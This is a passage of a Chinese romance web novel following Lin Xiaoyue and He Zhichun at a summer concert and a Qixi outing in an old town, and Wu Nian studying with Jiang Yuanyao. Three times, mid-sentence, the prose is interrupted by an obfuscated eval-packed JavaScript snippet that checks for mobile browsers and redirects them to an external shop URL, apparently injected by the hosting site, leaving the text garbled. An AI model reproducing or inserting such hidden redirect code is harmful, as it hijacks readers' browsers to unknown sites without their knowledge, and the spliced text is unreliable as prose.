通常来说演唱会开始的时候天已经黑了,这样舞美灯光才会发挥出最大的效果,可夏天的白天太长了,第一首歌前奏响起的时候,天还没有黑透。 不过这并不影响大家激动的心情,全部都挥舞着荧光棒和主唱一起合唱。 数控的荧光棒有规律地变化着颜色。 两三首歌下来,夜幕笼罩,台上和台下的灯光辉映更加明艳。 “胳膊有点累。” 林晓玥甩甩手,换了只手握着荧光棒。 “看一场演唱会绝对减肥。” “可不是嘛,又唱又跳仨小时。” talking的间隙,贺知春从包里拿出一块饼干塞进林晓玥嘴里,“吃点东西才有力气跳。” 林晓玥快速嚼着嘴里的食物,生怕错过下一首歌。 突然她激动地扯着贺知春的袖子:“快看上面!无人机。啊!还有大烟花!真好看!我都好多年没有看过烟花了。” 林晓玥的眼睛里倒映着蓝色的烟花,因为激动而更加亮晶晶的。 这时正好到达了整首歌的副歌部分,全场大合唱到“突然好想你……” 贺知春望向了林晓玥,在人声鼎沸中牵起了她的手。 “我喜欢你。” “啊?” 林晓玥感受到手上的温度,转头看向他,脸上是因为激动还没落下的微笑,歌声太大她没有听清。 “我说,我真的很喜欢你。” “嗯,我知道了。” “知道了,是什么意思?”就没有什么表示吗? “就是,知道了。” 林晓玥回握了一下他的手,柔柔软软,不算用力,但贺知春感觉自己心脏上的褶皱被熨平了,服服帖帖地躺在胸膛里,跳得很安稳。 一直到散场,两个人的手都没有松开。 “困不困?” 酒店的方向和地铁站相同,一路上都是意兴未尽的人们,手里拿着荧光棒,嘴里哼唱着各自喜欢的歌。 贺知春顺势把林晓玥揽在怀里。 “有点困,但我估计回激动得睡不着。” “既然睡不着,不如我们……” 贺知春低头在林晓玥耳边轻声说道。 “我随便一说,不要生气昂,早点休息,需要提供按摩服务吗?” 林晓玥一记眼刀过来,贺知春话锋一转。 “胳膊疼,甩棒子甩得太用力了。” 贺知春双手揉搓着她的胳膊。 “屁股和大腿也疼,我都快跳散架了。不过这个不用你来!” 在贺知春跃跃欲试的魔爪伸过来前,林晓玥快速斩断了他的念想。 “别怪我,我在给自己脱敏,之前有多亲密,现在面对你我就会有多戒备,我得慢慢适应。” “我知道!归根结底是我的错!我理解,我弥补,我会等你完全接纳我的那一天。” “嗯嗯,理解万岁。” “理解万岁,谢谢你肯再给我一次机会。” “不客气,是我好奇心作祟,想看看命运究竟会把我们带到哪里去。” “这题我会,带到春夏秋冬,年年岁岁。” “好啊,那我们就看一看大学霸这次有没有填对答案。” “那你早点休息,我就在隔壁,有事叫我,敲墙也行。” 贺知春站在门口依依不舍,林晓玥则眉毛轻挑:“怎么,这么看不起酒店的隔音效果?” 贺知春不知想到了什么,脸上浮起几分红晕,在走廊昏黄的灯光下并不显眼。 “那给我打电话。” “知道啦,快点回去睡觉。” 贺知春帮林晓玥关上了门,然后一步三回头地回到了自己的房间。 一夜无梦,直至天光。 强大的生物钟让林晓玥早早就醒了,胳膊和大腿还在隐隐作痛,她伸了个懒腰在双人床上打了个滚,试图睡一个回笼觉。 十分钟后睁开了眼:“上班的早上都没有这么清醒。” 打开手机看了一眼,昨天睡前发的演唱会的朋友圈收获了很多点赞和评论,第一个点赞的就是贺知春。 之后是妈妈的评论:【你和念念一起去看演唱会也不和我说一声。】 语气里满是埋怨。 吴念也去了? 林晓玥顺着她点赞的头像点进她的朋友圈,吴念也在现场,不过看视角她们应该不在同一片区域。 “这丫头哪来的钱买内场票?” 林晓玥满头雾水,联想到昨天的偶遇不仅有了个大胆的猜想,不会是从江远尧那里坑蒙拐骗来的吧? 正要质问一下,手机上弹来了消息: 【醒了吗?】 【嗯。】 一个视频电话打了过来,林晓玥犹豫了片刻接通了。 “人呢?只让我看天花板啊?” “刚醒,还没洗脸呢。” “没事,我也还躺在床上呢。让我看一下你,快!” 林晓玥将手机聚在身前:“为什么要看我?” 贺知春轻笑一声,不知道是不是因为吹了一整晚空调太干燥,导致嗓音有点哑。 “想一睁眼就看到你。” 林晓玥侧过身,把半张脸埋在被子里:“现在已经看到啦!” “你知道我说的不是这个意思,不知今天。” “嗯,再等等我,不要催哦。” “好,想吃什么?酒店有自助餐,还是去早市吃点特色小吃?” “来都来了,去早市!” “那快点起床,晚了人家就收摊了。” “好。” “今天都什么安排?” 和贺知春出来,林晓玥什么计划都不用做,他自然会把一切都安排好。 “嗯……你不是之前说过想穿汉服?我们租一套汉服拍拍照,然后四处逛一逛名胜古迹,晚上还有个露天集市,吃点好吃的就往回走?” “晚上开车的话会不会很累?” “不着急的话我们明天再回去也行,主要是你好不容易出来玩一趟,想多带你吃点好吃的。”贺知春顺着林晓玥的话往下说。 “嗯,也行,那样时间松快一些,我们慢慢逛。” “所以,现在趁我们来得早,衣服多,挑一件你喜欢的吧。” 他们走进了一家评价比较高的汉服店,这家店很大,看起来干净又整洁,所有的衣服按照款式整齐摆放着,另一边是化妆区和试衣间。 “是格格装还是唐装?这两个最近都很火。” 贺知春也是在网上刷到了很多相关的变装视频,给林晓玥推荐着。 林晓玥的视线掠过那些琳琅满目的衣服,最终落在一件几乎素色的衣服上。 “这套衣服配色好简单。”贺知春也注意到那件衣服。 “这是战国袍,款式比较早,所以看上去没有后来的衣服那么繁复。” 店里的员工介绍道。 “这个有我能穿的吗?” 林晓玥问道。 “有的,我去给你拿。” “好看吗?” 做好妆发的林晓玥走出来,在贺知春面前转了一个圈,衣袂飘飘。 “好看,朴素而大气,没有破碎的美感,反而有一种坚毅的女性力量。” “你是不是刚刚偷偷上网查资料了,怎么这么会夸。” “没有,句句发自肺腑。”贺知春把手机放进口袋,“我保证,你今天真的很美。” “只有今天美哦?” “每天都很美。钱我已经付了,我们现在一边拍照一边逛街?” “好啊,从哪里开始?” “从阳和楼吧!我刚刚看到那里有活动,参加有奖品,你不是最喜欢这些了吗?” “嗯,然后去红仙庙,最后去城墙拍落日。” “非常合理,出发,第一站!” 时逢七夕,古城里面到处都是面向小情侣的活动,最大的台子搭在了阳和楼下面。 “欢迎各位游客朋友们在七夕这天来到我们的古镇,在城里面的各处打卡点都可以购买集章手册,集齐所有印章可以来我们这里兑换一份精美礼品。下面开始我们的第一项游戏,情侣拍照挑战,按照指定姿势完成拍照动作……” “想玩儿吗?”贺知春低头看着身边的女孩子。 “嗯嗯,看起来很简单。” 贺知春牵着她上台报名,每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993353|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮十对情侣,他们的成绩最好,主持人将一对荷包送给了他们。 林晓玥很喜欢那枚荷包,当即把它挂在了自己的腰间。 “第二项游戏,情侣接吻大赛……” 贺知春看向林晓玥,眼神似乎在询问她的意向如何。 “奖品是一把绣花团扇。” 主持人展示着手中的扇子,虽然是免费的奖品,但做工十分精致。 林晓玥看看那把双面绣的扇子,又看看贺知春,最终下定决心:“来吧!” 两个人在台上对视着,反而是贺知春有些紧张,他小心翼翼地低下头,去触碰林晓玥的嘴唇,浅尝辄止,生怕冒犯。 这场游戏一组一共有五对情侣参加,其中两组是临时搭伙的同性,俩人一对视就破功了,领了个纪念奖,另外两对情侣一对儿似乎在吵架中,女生十分不配合,另一对儿看样子是学生,年龄还小,有些害羞,林晓玥他们歪打正着地成为了获胜者。 “运气真好,连着拿了两个喜欢的奖品。” 林晓玥用手中的团扇轻轻扇着风,贺知春趁机抓拍了一张照片。 “是啊,跟我出来就是运气好,战无不胜,所向披靡!” “少得意了,红仙庙里也有好多人啊,我们要不要去算一算姻缘?” 贺知春一只脚踏进门内:“我们要相信科学,再说了,咱俩的姻缘还用算吗?那必须天造地设的一对儿啊,动物园里那张纸片都告诉我们了。” “嗯,有道理,那挂个同心锁吧,加固一下我们的感情。” “这个可以有。” 贺知春去寻来了一把铜锁,上面还雕着连理枝的纹样,他借用刻刀加上了他和林晓玥名字的缩写,并且在两人名字中间画上了一颗简陋的爱心。 二人在所谓的“鹊桥”上寻找着合适的位置。 “这里怎么还有一把被锯断的锁?” 林晓玥发现了一处不寻常的地方,一把铜锁被锯出了一个巨大豁口,但是没有从链子上取下来。 “大概是分手了,伤心泄愤,又不甘心吧。” 贺知春摩挲着下巴,大胆猜测着当事人的心理活动,这是世界上又一个失意之人啊。 “你们不是第一个这样说的了。” 旁边一个看起来像是办了年卡的本地游客白发老大爷说道。 “莫非大爷您知道点内情?” 那大爷笑呵呵指着那枚铜锁:“这就是有一天晚上有人来偷锁当废铜烂铁买,结果未遂,被抓住了。” “原来是这样,别看这把锁小,但沉甸甸的也是真材实料的呢。” 林晓玥将属于他们的那把铜锁掂在手里,“那我们还是找一个隐蔽一点的地方,这样不容易被偷走。” “就这里吧!” 好心的大爷指了一个位置,许愿树垂下来的丝带遮住了一截铁链,正好有一个空出来的位置。 贺知春和林晓玥一起把那枚同心锁挂了上去。 “谢谢大爷!” 林晓玥向大爷道谢,但一转身,刚刚那个大爷就不见了,身后的方向只有一个几米高的许愿鼎,许多人想里面扔着用红布包裹的球,如果能扔进去,就说明愿望被许愿鼎接收到了,会帮你实现愿望。 林晓玥觉得新奇,于是也领了一个红绸系着的球。 “希望我能拥有一段天赐良缘。” 她小声默念着,然后用力向上扔去,红球触碰到许愿鼎的边缘,被弹了回来。 “没有进……” 上一秒还在沮丧,下一秒那红球又重新出现在了自己面前。 “你刚刚许了什么愿?” 贺知春手中拿着那枚红球,它被弹回来之后,直接掉进了自己的手里。 林晓玥看着他,眼里满是笑意。 “什么嘛,我帮你把愿望接住了,也不告诉我,我怎么帮你实现啊?” “贺知春。”林晓玥重新拿过那颗红球,细细端详着。 “嗯?” “我好像有点明白命运这个东西了。” “神秘兮兮的,不愿意回答就给我整这套说辞。不过没关系,我只管负责让你开心。” “嗯……你已经做得很好了。” 22. 第 22 章 城楼上的夕阳如残血一般红,和雕花宫灯的剪影远近交映。 “好看,拍完了,我们去还衣服吧。” 贺知春收起相机:“好,退了的押金去夜市买点小吃,累不累?” 林晓玥反手锤了锤后背:“累,腰酸背痛,幸好穿的运动鞋。” 贺知春把相机挎到脖子上,帮林晓玥揉着脖颈。 “贺师傅的手法果然专业。” “那是,靠谱中医,精准拿捏你的穴位。” “老师教的吗?” “自学的。” “改天也教教我。” “好呀,然后你天天给我按按摩。” “你倒是想得美。” 城楼上的人越聚越多,大多数是为了灯展而来,林晓玥逆着人流往城门下方走,就像一条穿梭在人海里的鱼。 “慢点儿。” 贺知春尽量帮她圈出一块空间用来呼吸。 “我上次见到这么多人,还是在跨年的那次。” 贺知春记得那天还下起了大雪,林晓玥站在雪里,逆着路灯向他招手,宛若神明少女。 “跨年?” 林晓玥的思路有些呆滞,像是突然指令卡顿的机器人,好像是有这么一回事,都差点想不起来了。 她叹了口气:“唉,我就说我岁数大了,好多事都记不住,你会不会嫌弃我?本来我年纪就比你大。” “不会。”贺知春斩钉截铁地说道,顺便腾出一只手在林晓玥头上弹了一个毫无力度的脑瓜崩儿。 “小脑袋一天天瞎想什么呢?” “我就随便说说,你知道的啊,我就是喜欢胡思乱想,我还喜欢胡说八道,如果你接受不了我这一点呢,现在还有机会……唔……” 此时他们恰好走到城墙的一处凹陷里,背对着众人,贺知春用实际行动堵住了林晓玥胡说八道的嘴。 “放开放开,公共场合影响不好。” 林晓玥用了十足的力气推开面前的人,明明太阳已经下山了,头上还是沁出一层薄汗,心跳也有些快得不受控制。 抬头看到贺知春的眼中有哀伤,有愠怒,混杂着复杂的情绪,还有,亮晶晶的嘴唇,在她面前一张一合:“没有机会。” “嗯?” “我不会再给你离开的机会。” 林晓玥紧抿着嘴唇,她这人有个毛病,紧张焦虑的时候,就会或撕或咬自己的嘴皮,被吴女士骂过好几次也没有改掉。 “想说什么?”贺知春问道,喘息声就在耳边。 “没什么。” 林晓玥摇摇头。 “那还去不去吃小吃了?” “去!” 林晓玥任由贺知春牵着自己的手。 租汉服的小店离城门不远,再出来时已经是月上西楼,林晓玥把今天得到的奖品全都装在自己的背包里,贺知春一把拿过来,背在了自己肩上。 “不沉的。” “我愿意。” “可一个大男人背粉色的小包包,很滑稽诶。” “这叫猛男粉,非常适合我!” “那我不背包,空着手走路不习惯呢。” “这样就不空了。” 贺知春一把拉住林晓玥的小手。 “那这一只手还是空的呀!” “老板,来一串糖葫芦!” 贺知春把糖葫芦塞进林晓玥的另一只手里:“这下全满了,先吃点山楂开开胃,一会儿看到什么想吃的和我说。” “好。” “酸不酸?” “不酸,甜的,你尝一口。” 林晓玥把糖葫芦横在贺知春面前,贺知春低头咬下一颗,顿时皱起了眉头,他还是不能吃酸的东西。 “不要浪费粮食哦!” 林晓玥露出得逞的笑容。 “幸灾乐祸是吧?” 贺知春咽下糖葫芦,伸手捏着林晓玥的脸蛋威胁道:“再笑,一会儿就把你的臭豆腐上面加满香菜!” 林晓玥瞬间收起了笑容:“不行!我要拔光世界上所有的香菜!” “那我就再种满!” “不可以!” “好,听你的。” “诶?” 这一百八十度的大转弯真是防不胜防。 “以后我们弄个小院子,里面专门有一块地种你想种的,你种菜也可以,种花也可以。” “现在谈以后,太早了。” 林晓玥不允许自己幻想太久以后的事情,因为不愿意承受愿望和期待落空的结果。 “好,那等你什么时候想种了,你再和我说,我记得你很早以前就想要个小院子了。” 贺知春也不反驳,而是耐心地等她想开的那一天。 他知道,以林晓玥的性格,会通过反复推开来确认对方是否坚定不移地爱她。 那他就坚定一点,一次又一次地给她肯定的答案。 “吃得完吗?” 林晓玥端着一碗没加香菜的臭豆腐吃得津津有味,闻言扎起一块递到他的嘴边:“吃得完,但全吃完的话怕是没有饭量再吃其他的了。” “那就慢点吃,再遇到其他想吃的,就把没吃完的给我。” “那我估计你要吃好多东西。” 林晓玥腮帮子鼓鼓的,笑起来像一只小仓鼠。 “唉,没办法啊!” 贺知春故作痛心道:“谁让某人眼大肚子小呢,只能委屈我自己胖一胖了。” “不会的,我少吃几种。” “你呢,负责吃到开心,玩到尽兴。” 有这句话兜底,林晓玥从街头吃到了街尾。 小吃街的尽头是一条河,月光洒在河面上,泛起粼粼的波光。 “有人在河边放孔明灯!” 林晓玥四处搜索着孔明灯的来源,这东西她之前只在电视上和小说里看到过,还没见过现实中的样子。 贺知春率先找到了那个卖灯的老人,他站在一块大石头旁,脚边的箩筐里放着还未卖出去的灯,厚厚一叠,看样子才刚来不久。 贺知春上前买了两盏,和林晓玥一起把折叠的灯展开。 “许的什么愿?” 贺知春写下自己的愿望后看向林晓玥的灯笼,林晓玥这次没有遮掩,大方地把自己的灯笼给他看,上面是清秀的行楷:愿所爱之人,岁岁平安。 “反正是要带到天上的愿望,所幸许得大一些。” 林晓玥在一旁解释道。 “你呢?许的什么愿?” 贺知春把灯笼上有字的那一面转过来:执子之手,与子偕老。 嗯……非常通俗易懂。 “放飞了就不能改了哦!” 林晓玥蹲在地上的时候还在提醒他,“不然愿望会不灵的。” 下一秒,贺知春就松开了手,灯笼慢慢飘了起来。 “不改,一条路走到底,我这个人认死理,落子无悔。” 林晓玥的灯笼笨拙地跟在后面越飞越高。 他们刚来的时候,河面上只有零星的几盏灯笼,现在越来越多的游客注意到了这里,河面上的灯笼多了起来,忽明忽暗的像极了漫天的星星。 林晓玥和贺知春坐在河边的台阶上并肩坐着,双手托腮看着河边许愿的人们和河面上灯火的倒影。 “想什么呢?” “我在想……人类的智慧可真神奇。” “怎么说?” “比如说愿望这个东西,它是个美好的精神寄托,不管会不会实现,都会给人一个期冀的方向。” “玥玥。” “嗯?” “你有时候活得太清醒。” “有么?清醒一点不好么?” 贺知春的手抚上她的头顶:“没有不好,只是我说过,那样会不快乐,事情不用看得太透,不要非得分出对错,让自己松弛一些,你可以依赖我,全身心地信任我。” “我在努力呀!在努力和自己的认知和习惯作斗争,我自己把自己打碎重塑过一次了,你现在又要让我变回去,很难的。” “没关系,我知道你已经做得很好了,奖励你的!” 贺知春往林晓玥的手心里放了一个东西,冰冰凉凉的,是一个烧制出来的玻璃吊坠,月亮的形状。 “你做的?” 贺知春得意地看着她,答案不言而喻。 林晓玥脸上露出了笑容,她就喜欢这些手工礼物,总觉得诚意藏在汗水里。 “不许嫌弃,肯定是没有你手巧。” “我很喜欢,谢谢你。” 林晓玥的眼睛笑得和手中的月牙一样弯。 “那我帮你戴上。” “好。” 林晓玥很少戴项链这种饰品,她伸手摸了摸胸前的月亮,又看了看天上的月亮。 “水中月是天上月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993354|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼前人是……” “有人跳河了!” 贺知春的表白被不远处的一声惊呼打断,只见刚刚还平静的河面上泛起了涟漪,涟漪的中央,是一个在水中挣扎的身影。 岸上的人手忙脚乱把人打捞出来。 那个轻生的小伙子估计落水之后也清醒了,拥有了求生的意志。 贺知春简单帮他检查了一下,身体没有什么大问题。 “嗯,没事,就是有些肝气郁结,心火旺盛,你这是遇到什么想不开的事了?” 解铃还须系铃人,周边围着一圈热心的大爷大妈们,等着小伙子说出自己的心结然后开导他。 可他却坐在地上,把头深深埋在膝盖上,双肩一耸一耸地哭了起来。 林晓玥和贺知春默默退至外围的圈子,在听清事情的原委后便向城门的方向折返。 贺知春的神情有些凝重,他紧紧握着林晓玥的手,不自觉的用力让林晓玥的手指尖因为缺血而有些发紫。 “咱要不把手松一松呢?” 林晓玥晃了晃贺知春的手,“一天天使不完的牛劲。” “我这是后怕,还好两年后我又找回了你。” 林晓玥明白他说的是什么意思,刚刚那个轻生的少年后来讲述了他的故事。 他和初恋女友因为误会分开了一年多,今天七夕,少年触景生情,想要联系前女友和好,鼓足勇气拨出了对方的电话。 接电话的是一个男人,起初他怔住了,以为对方早已释怀有了新的归宿,只剩自己念念不忘,苦笑一声准备挂断电话,可电话那头的人叫住了他。 “请问是陈生吗?” “是我,你……知道我?” 她是怎样和你讲述我们之间的过往的呢? “我是小梁的父亲。” 原来不是新人,陈生松了一口气,重新鼓起了勇气。 “请问小梁在吗?我想和她说几句话。” 电话那头的男人深深叹了口气:“她已经走了一年了。” “去哪里了?” 少年脱口而出,旋即意识到,就算出远门,也没有把手机交给家人保管的道理,他生出一种预感,本能地抗拒接下来听到的事实。 “她生了病,去偷偷看过你之后,死在了回家的路上。她不让我们怪你,我们做父母的怎么能不恨呢?那时恨不得把你剥皮抽筋,可我们也没有关于你的任何联系方式,你们断得太干净了。物是人非,我们什么都不追究了,也什么都不要了,小梁这里还有一些你的东西,有空过来拿吧,嘟嘟嘟……” 对面挂断了电话,只剩少年望着月光下平静的湖面出神。 “确实令人唏嘘,以为是生离,没想到是死别。” 林晓玥也替这对情侣感到惋惜,那些自以为可以旧人重逢的人,又有多少如愿了的呢?人生充满了意外。 她抬头看着贺知春的侧脸,少年依旧意气风发,只是少了些当年的青涩,变得更加沉稳。 酒店的电梯里映照着两个人依偎的身影,忽然电梯向下一顿,陷入一片漆黑与寂静。 “啊!” 林晓玥怕黑,突然的变故让她不禁惊呼出声,紧紧抓住了身边的人,贺知春一把把她搂在怀里。 “别怕别怕,手机还有信号,现在的电梯通风也好,应该就是个小故障,一会儿就有人来救我们了。” 话音刚落,灯重新亮了起来,电梯继续运行,到达了他们所在的楼层。 贺知春把惊魂未定的林晓玥送回自己的房间,刚要离开时被一把拉住了。 “怎么了?”贺知春笑道,“吓傻了?” “我想好了,你今天提前转正。” 贺知春的笑容僵在了脸上,他一时间不知道自己该做出怎样的表情。 林晓玥钻进他的怀里,紧紧抱着他:“我说,提前转正。” “怎么突然想通了?”贺知春用手轻抚着林晓玥的头顶。 “人生无常,我怕了。我不信万物永恒,我只信当下,瞬间的感受。” “好,以后我都会保护你。” “那你保证,以后最喜欢我。” “我保证。” “只喜欢我。” “这么霸道?好。” “人们都说真爱瞬息万变……” “我保证,组成余生的每个瞬间都喜欢你。可以吗?” “骗人是小狗。” 23. 第 23 章 暑假期间的图书馆也是座无虚席,每天早上都有人来早早占座,甚至还有人为此使出各种兵法,或不惜大打出手。 这天吴念放下自己的书包后去吃早饭,在食堂门口遇见了自己“拐来”的老师,这还是第一次在白天看到他,可能是因为今天放假的缘故。 “学长,好巧啊,今天来这么早?” “嗯,怎么?不打算请我尝尝你们学校的食堂?” “来来来,这边请!贵宾一位!” 吴念也不和他拘谨,直接cos起了店小二,一向社牛的江远尧都有些尴尬,直接拉住了她。 “你低调一些!” “好嘞!” “打算请我吃什么?你们食堂还挺大的。”江远尧环顾四周,即使是暑假,也开放着许多窗口。 “暑假期间只有这一个食堂,等开学之后有三个食堂加两个小食堂,吃都吃不过来。” “这么丰盛呢?” “那是,今天带你喝豆腐脑吧!你绝对没有尝过加麻酱和辣椒油的豆腐脑。” “那确实没有。” 吴念端来早饭,一边吃一边问江远尧:“学长,你有没有注意到咱么自习室里的人除了复习考研的,还有准备考编的?” “嗯,怎么了?” “那我考考你,考研和考编的人怎么区分?”、 “嗯……考编的人年纪大?” “禁止年龄歧视昂,这两个没有年纪上的区别。” “那是什么?” 江远尧顺着她的话往下问道。 “咳咳,考研的人是这样:埋头,苦算,仰天长叹,薅头发,做题做到红温。” 吴念一边说,一边生动地模仿着。 “那考编呢?” “考编的人是这样:突然扶额,苦笑,闷头大笑。” “为什么会笑?解压吗?” 江远尧的好奇心成功被吸引出来。 “我那天也是这样想的,就去看了一眼他们的题目,那真是五花八门,稀奇古怪。” “自己不好好看书,就对别人的知识感兴趣?” 江远尧装作很严肃的样子。 “我不是我没有,我就是在楼道背单词回来的时候路过了一下,我发誓!” 吴念一脸认真,如果忽略她嘴角的一粒豆腐渣的话。 江远尧顺手帮她抹了下去。 “多大人了吃饭还留储备粮呢?” 吴念正在发誓的手停在了半空,脸上的表情像是笑又像是要哭的样子。 “怎么了?护食儿都到这种程度了?” 江远尧嘴上不饶人,手上却在犹豫要不要把刚刚裹在卫生纸里的那粒饭渣重新粘回去。 “不是。” 吴念抬头看向天花板,“很少有人这么体贴地对我,除了玥玥姐,就连我干爹都没有这样过,我那大傻哥也没有。” “男人的感情总是粗糙一些,但他们肯定是爱你的。” “那你呢?” “我什么?” 江远尧一时语塞。 吴念继续追问道:“你为什么不粗糙,不直男?” “我直的!” 江远尧无语,“我很直的,不然不能对你姐念念不忘这么多年。” “你还没放下啊?” 吴念的心脏有些酸酸的,不知道为什么堵着一口气。 “呃,放下了啊,但回忆是美好的,遗憾也是,不一定要忘得一干二净。” “有道理,但你为什么这么精致?” 吴念每次见到他的时候都会联想到清晨的树林,有微风,有露水,有透过晨雾的阳光。 “这个……大概……职业习惯?” 江远尧第一次感到自己的词汇如此贫乏,竟然是为了解释自己是个直男。 这次真是说者无心听者有意。 “今天讲什么?高数还是英语?” 江远尧还没有在周末来讲过题。 “江老师,你这么随性的吗?不过还好我自己做了一张课程表。” 吴念说着就要翻书包,“我忘了,书包用来占座了。” “啧啧啧,你这个脑容量,有点堪忧啊。” 江远尧恢复了毒舌的本性。 “脑子就这么点大,当然要先挑重要的事情记啊!” 吴念起身收拾桌子,聊天归聊天,可不能耽误宝贵的学习时间。 “除了复习你现在还有什么重要的事啊?” “暂时先保密!” 吴念一幅很神秘的样子,但下一刻她就像见到猫的耗子一样躲在了江远尧的身后。 “怎么了?” “咳,我想到还有一条路可以到自习室,我还没带你走过呢。” 江远尧看她心虚的样子,顺着之前的路线看去。 “那边有谁啊?前男友?” “别瞎说,是我那大傻哥!” “他来你们学校做什么?” “不知道,估计不是给我介绍工作,就是介绍对象。” “念念!” “惨了……” 吴念逃跑的计划落空,只能直面惨淡的人生,从江远尧身后不情不愿站出来。 “哥……” “这位是?” 吴庸看着面前的男人,这气质和清澈又愚蠢的大学生简直天差地别。 “你好,我叫江远尧,吴念的……学长,高中学长。” “哦……” 吴庸意味深长地看着吴念,那眼神似乎在说:防火防盗防学长,我白教你了? “哥你别瞎想,他是我的好朋友,之前还是我姐的相亲对象。” “得了吧,我还不了解你,你喜……” 情况紧急,吴念直接飞扑上去物理打断了吴庸的发言。 “哥你不好好上班来我学校干嘛?” “我在附近出差,正好过来看看你,没想到就撞见了一个大八卦!” 吴庸扒拉开身上的吴念,对江远尧说:“中午请你们吃饭吧,这丫头肯定给你添了不少麻烦。” 拒绝吗?可是以吴念有便宜不占王八蛋的性格,直接拒绝会很反常,答应的话,她又很想和学长单独吃饭。 此时的吴庸在她眼里就是一颗闪闪发光的大灯泡。 “好啊,恭敬不如从命。” 江远尧一口答应下来。 吴念看向干哥的目光里充满怨念。 吴庸着急去开会,中午来接他们。 吴念走进教学楼还在愤愤不平:“学长你刚刚为什么要答应他?你没看出来这是一场鸿门宴,他肯定没安好心。” “我这不是看你为难吗?吃顿饭而已,别紧张。” “我哪有紧张?” “没有就好,快做题!” “哦。” 吴念的性格虽然跳脱,但学习时还是能沉下心的,这一点和以前的林晓玥一样,不过悟性稍微差了一点。 “这个语法的用法刚刚不是讲过吗?” “哎呀忘了忘了,下次注意。” 吴念一边揉着肚子一边道歉,“太饿了,脑子已经转不动了,我们去吃饭吧!” “吃饭你倒是积极。”江远尧冷哼一声。 “嘿嘿,那是当然,俗话说得好,干饭不积极,思想有问题。” 到了饭店里吴念就积极不出来了。 “怎么不坐?” 本着女士优先的原则让她先挑座位,但她在心里怎么排列组合都觉得很奇怪。 算了,决定权不在自己,吴念一屁股坐在里面的椅子上,哥哥吴庸坐在她身边,江远尧坐在对面。 今天吃的是自助,椅子还没捂热,吴庸又指使她先去挑自己喜欢的菜。 吴念端着盘子穿梭在台子间的时候,脑子里只有一句歌词:明明是三个人的电影,我却始终不能有姓名。 满载而归的时候,吴念察觉到了两人之间微妙的气氛。 “你们刚刚……都聊了些什么?” 吴念满载而归,看向自己的哥哥,这家伙皮笑肉不笑的脸上看不出一丝情绪。 “大人的事情小孩子少打听!” 哈?就知道从他这里问不出什么,于是吴念转而看向对面的江远尧,他总得和自己统一战线了吧。 可江远尧也没有正面回答。 “让我看看你都拿了些什么?哇,这个羊腿的肉真多!” 吴念的思路一下子被岔开:“我挑食的能力你们清楚的,肯定是专拿好吃的!” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993355|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真棒!这个鱼块看起来也不错。” “是吧我也觉得。” 吴庸静静看着他们之间的互动,想着江远尧方才对他的承诺:不是替身、不为寂寞、绝对真诚。 “对了,你记得上次我们七夕去看演唱会吗?” “嗯,怎么了?” 林晓玥躺在床上,今天是中秋节,贺知春刚送来一些水果,两个人也就分开了一个小时左右,就又接通了视频电话。 “我们不是在商场看到了疑似吴念和江远尧的身影吗?我后来就看吴念的朋友圈,她确实去看演唱会了,还是内场,她哪来的票?而且她也没提和谁一起去的,我妈一直以为是和我。我都没法解释。” 贺知春腾出一只手擦干头发,另一只手高举着相机。 “这都过去大半个月了,怎么突然想起来?” “当时就像和你说嘛,结果七夕玩得太开心忘了,这丫头今天蹦蹦跳跳就去上自习了,学习能让人这么快乐?我不信。” 林晓玥回忆着吴念早上兴高采烈的样子又补充道:“她的书包鼓鼓囊囊的,装的肯定不是书!” “那能是什么啊?月饼?” 贺知春失笑道,“不过你这么一提,我也想起来个事儿。” “什么?” 贺知春开口才发现,这样又要把当初充满心机的自己拿出来鞭尸一次,叹了口气道:“就那天,从A市把你截胡的那天,我不是让吴念帮我拖住江远尧好让我和你独处吗?结果回来后我们碰头的时候,那丫头格外的兴奋,就好像不只是完成了一项重大的使命,兴奋中还带着几分娇羞,那神情有些眼熟,有些像……” 记忆的匣子被打开,“有些像第一次约会的你。” 吴念的性格有些像年少时的林晓玥,长相也有几分神似,那天在月光下,贺知春有些晃神,差点以为自己穿越回了公园的那座小山坡上,不同的凉亭,见证古今的月亮。 “那你怎么不早说!” 林晓玥被气笑了,吴念相当于第二次托孤到他们家,这要是被吴女士知道了,还不得吃不了兜着走。 “这不是当时注意力全放在怎么追你这上面了,根本来不及多想。” 贺知春放下干发巾,像小狗一样甩了甩头发,“现在发现,应该还不晚吧?” 林晓玥摩挲着下巴:“那我今天跟她聊一下,稍等,我有个电话。” 林晓玥看着来电人的名字,平时表哥不会主动找自己,“一会儿给你打回去啊。” 她挂断了视频,接起了表哥的电话:“喂,哥,什么事?” “玥玥,吴念最近一直住在你那里吗?” “对啊,方便她去学校,怎么了?” 